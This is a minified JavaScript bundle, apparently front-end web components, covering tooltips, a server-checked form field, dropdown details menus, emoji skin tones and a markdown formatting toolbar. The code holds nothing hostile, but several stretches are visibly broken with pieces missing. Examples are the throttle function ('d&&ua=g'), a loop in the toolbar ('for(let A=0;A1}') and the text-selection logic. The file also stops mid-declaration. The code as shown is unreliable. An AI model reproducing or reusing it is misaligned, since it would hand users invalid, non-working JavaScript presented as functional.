+ + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function 